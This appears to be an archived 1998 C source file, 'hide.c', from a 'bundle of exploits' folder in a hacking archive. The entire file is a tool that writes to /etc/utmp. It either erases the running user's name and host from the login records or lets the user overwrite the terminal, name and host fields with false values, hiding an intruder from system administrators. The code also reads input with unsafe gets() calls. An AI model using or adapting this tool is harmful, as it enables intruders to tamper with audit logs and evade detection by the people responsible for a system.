home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / hide.c < prev    next >
Text File  |  1998-07-17  |  3KB  |  171 lines

  1. /* hide.c */
  2.  
  3.  
  4.  
  5. #include <stdio.h>
  6.  
  7. #include <stdlib.h>
  8.  
  9. #include <utmp.h>
  10.  
  11. #include <pwd.h>
  12.  
  13.  
  14.  
  15. #define UTMPFILE        "/etc/utmp"
  16.  
  17.  
  18.  
  19.         FILE    *utmpfile;
  20.  
  21.         char    *utmp_tmp[10240];
  22.  
  23.  
  24.  
  25. main (argc, argv)
  26.  
  27.         int     argc;
  28.  
  29.         char    *argv[];
  30.  
  31. {
  32.  
  33.  
  34.  
  35.         struct  utmp    *user_slot;
  36.  
  37.         struct  passwd  *pwd;
  38.  
  39.         char    line[10], name[10], host[20];
  40.  
  41.         int     index;
  42.  
  43.  
  44.  
  45.         printf ("Welcome to HIDE !        FORMAT:  hide [-i]\n\n");
  46.  
  47.         utmpfile = fopen (UTMPFILE, "r+");
  48.  
  49.         if (utmpfile == NULL)
  50.  
  51.         {
  52.  
  53.                 printf ("ERROR while opening utmp file... exiting...\n");
  54.  
  55.                 exit ();
  56.  
  57.         }
  58.  
  59.         index = ttyslot();                                              /* Get this users utmp index */
  60.  
  61.         index *= sizeof(struct utmp);   /* 36 */
  62.  
  63.         fseek(utmpfile, index, 0);
  64.  
  65. /****  Get real UID  ****/
  66.  
  67.         pwd = getpwuid (getuid());
  68.  
  69.         if (pwd == NULL)
  70.  
  71.                 printf ("Who the hell are you???");
  72.  
  73.         else
  74.  
  75.         {
  76.  
  77.         printf ("Real user identity:\n");
  78.  
  79.         printf ("NAME  %s\n", pwd->pw_name);
  80.  
  81.         printf (" UID  %d\n", pwd->pw_uid);
  82.  
  83.         printf (" GID  %d\n\n", pwd->pw_gid);
  84.  
  85.         }
  86.  
  87. /****  If ARG1 = "-i" then disappear from utmp  ****/
  88.  
  89.         if ( (argc>1) && (!strcmp(argv[1], "-i")) )
  90.  
  91.         {
  92.  
  93.         index+=8;       /* Rel PNT name */
  94.  
  95.         fseek(utmpfile, index, 0);
  96.  
  97.         fwrite ("\000", 8, 1, utmpfile);        /* NO NAME */
  98.  
  99.         fwrite ("\000", 8, 1, utmpfile);        /* NO HOST */
  100.  
  101.         fclose(utmpfile);
  102.  
  103.         printf ("Removed from utmp\n");
  104.  
  105.         exit();
  106.  
  107.         }
  108.  
  109. /****  Change utmp data  ****/
  110.  
  111.         printf ("Enter new data or return for default:\n");
  112.  
  113.         fseek(utmpfile, index, 0);      /* Reset file PNT */
  114.  
  115.         fread(line, 8, 1, utmpfile);    line[8]=NULL;
  116.  
  117.         fread(name, 8, 1, utmpfile);    name[8]=NULL;
  118.  
  119.         fread(host, 16, 1, utmpfile);   host[16]=NULL;
  120.  
  121.         fseek(utmpfile, index, 0);      /* Reset file PNT */
  122.  
  123.         dinput (" TTY  [%s]%s", line, 8);
  124.  
  125.         dinput ("NAME  [%s]%s", name, 8);
  126.  
  127.         dinput ("HOST  [%s]%s", host, 16);
  128.  
  129.         fclose(utmpfile);
  130.  
  131. }
  132.  
  133.  
  134.  
  135. /* Data input */
  136.  
  137. dinput (prompt, string, size)
  138.  
  139.         char    *prompt;
  140.  
  141.         char    *string;
  142.  
  143.         int     size;
  144.  
  145. {
  146.  
  147.         char    input[80];
  148.  
  149.         char    *stat;
  150.  
  151.         char    space[] = "                              ";
  152.  
  153.  
  154.  
  155.         space[20-strlen(string)] = '\000';
  156.  
  157.         printf (prompt, string, space);
  158.  
  159.         stat = gets (input);
  160.  
  161.         if (strlen(input) > 0)
  162.  
  163.                 fwrite (input, size, 1, utmpfile);
  164.  
  165.         else
  166.  
  167.                 fseek (utmpfile, size, 1);
  168.  
  169. }
  170.  
  171.